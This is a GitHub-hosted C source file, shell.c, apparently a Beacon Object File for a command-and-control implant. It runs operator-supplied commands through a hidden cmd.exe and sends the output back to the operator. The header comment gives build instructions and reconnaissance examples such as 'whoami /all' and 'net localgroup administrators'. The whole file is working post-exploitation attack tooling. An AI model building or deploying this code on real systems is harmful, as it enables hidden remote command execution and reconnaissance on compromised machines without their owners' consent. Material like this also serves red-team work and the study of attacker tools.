-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshell.c
More file actions
executable file
·110 lines (91 loc) · 3.86 KB
/
Copy pathshell.c
File metadata and controls
executable file
·110 lines (91 loc) · 3.86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/*
* shell.c > Command Execution BOF
*
* Runs a shell command via cmd.exe /c and captures stdout + stderr
* through an anonymous pipe, forwarding all output back to the operator.
*
* Usage:
* loader.exe shell.o str:"whoami /all"
* loader.exe shell.o str:"net localgroup administrators"
* loader.exe shell.o str:"ipconfig /all"
*
* Build:
* x86_64-w64-mingw32-gcc -o shell.o -c shell.c -masm=intel -O0 -mno-stack-arg-probe -fno-stack-check
*
* Blog: https://yourblog.com/bof-shell
*/
#include <windows.h>
#include "beacon.h"
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreatePipe(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetHandleInformation(HANDLE, DWORD, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadFile(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE, DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetExitCodeProcess(HANDLE, LPDWORD);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
#define BUF_SIZE 4096
#define TIMEOUT_MS 10000
__attribute__((used))
void go(char *args, int len) {
datap parser;
BeaconDataParse(&parser, args, len);
int cmdLen = 0;
const char *cmd = BeaconDataExtract(&parser, &cmdLen);
if (!cmd || cmdLen == 0) {
BeaconPrintf(CALLBACK_ERROR, "[shell] no command provided\n");
return;
}
/* build "cmd.exe /c <command>" without CRT */
char fullCmd[1024] = {0};
const char *prefix = "cmd.exe /c ";
int i;
for (i = 0; i < 11; i++) fullCmd[i] = prefix[i];
for (i = 0; i < cmdLen && (11+i) < 1023; i++) fullCmd[11+i] = cmd[i];
/* create anonymous pipe — child writes to hWrite, we read from hRead */
HANDLE hRead = NULL, hWrite = NULL;
SECURITY_ATTRIBUTES sa = {sizeof(SECURITY_ATTRIBUTES), NULL, TRUE};
if (!KERNEL32$CreatePipe(&hRead, &hWrite, &sa, 0)) {
BeaconPrintf(CALLBACK_ERROR, "[shell] CreatePipe failed (GLE=%lu)\n",
KERNEL32$GetLastError());
return;
}
/* our read end must NOT be inherited by the child */
KERNEL32$SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0);
/* spawn cmd.exe with stdout/stderr redirected into the pipe */
STARTUPINFOA si = {0};
si.cb = sizeof(STARTUPINFOA);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = hWrite;
si.hStdError = hWrite;
PROCESS_INFORMATION pi = {0};
BOOL created = KERNEL32$CreateProcessA(
NULL, fullCmd, NULL, NULL,
TRUE, CREATE_NO_WINDOW,
NULL, NULL, &si, &pi
);
/* close parent's copy of the write end — if we keep it open, ReadFile
* blocks forever even after the child exits (pipe still has a writer) */
KERNEL32$CloseHandle(hWrite);
if (!created) {
BeaconPrintf(CALLBACK_ERROR, "[shell] CreateProcess failed (GLE=%lu)\n",
KERNEL32$GetLastError());
KERNEL32$CloseHandle(hRead);
return;
}
/* read and forward all output */
char buf[BUF_SIZE];
DWORD bytesRead = 0;
while (KERNEL32$ReadFile(hRead, buf, BUF_SIZE - 1, &bytesRead, NULL)
&& bytesRead > 0)
BeaconOutput(CALLBACK_OUTPUT, buf, bytesRead);
KERNEL32$WaitForSingleObject(pi.hProcess, TIMEOUT_MS);
DWORD exitCode = 0;
KERNEL32$GetExitCodeProcess(pi.hProcess, &exitCode);
if (exitCode != 0)
BeaconPrintf(CALLBACK_ERROR, "[exit code: %lu]\n", exitCode);
KERNEL32$CloseHandle(pi.hProcess);
KERNEL32$CloseHandle(pi.hThread);
KERNEL32$CloseHandle(hRead);
}